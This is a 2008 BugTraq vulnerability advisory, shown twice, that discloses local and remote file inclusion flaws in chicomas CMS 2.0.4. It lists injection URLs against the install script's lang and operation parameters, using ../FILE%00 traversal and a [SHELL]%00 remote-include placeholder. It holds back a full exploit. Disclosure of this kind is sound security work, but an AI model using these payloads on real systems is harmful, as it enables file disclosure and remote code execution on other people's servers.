BugTraq
Back to list
|
Post reply
bug report
Apr 27 2008 05:33PM
hadikiamarsi hotmail com
# Author: Hadi Kiamarsi
# Exploit By : Hadi Kiamarsi
# Email : hadikiamarsi (at) hotmail (dot) com [email concealed]
# CMS: chicomas.2.0.4
# Download CMS : http://garr.dl.sourceforge.net/sourceforge/chicomas/chicomas.2.0.4.zip
web site : http://ircrash.com
########################################################################
######
File Inclusion ( Local & Remote )
# Bugs :
#Local File Inclusion:
[chicomas]/install/?lang=../FILE%00
[chikomas]/install/?operation=../FILE%00
#Remote File Inclusion
[chicomas]/install/?lang=[SHELL]%00
#Exploit
exploit is very private
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
# Author: Hadi Kiamarsi
# Exploit By : Hadi Kiamarsi
# Email : hadikiamarsi (at) hotmail (dot) com [email concealed]
# CMS: chicomas.2.0.4
# Download CMS : http://garr.dl.sourceforge.net/sourceforge/chicomas/chicomas.2.0.4.zip
web site : http://ircrash.com
########################################################################
######
File Inclusion ( Local & Remote )
# Bugs :
#Local File Inclusion:
[chicomas]/install/?lang=../FILE%00
[chikomas]/install/?operation=../FILE%00
#Remote File Inclusion
[chicomas]/install/?lang=[SHELL]%00
#Exploit
exploit is very private
[ reply ]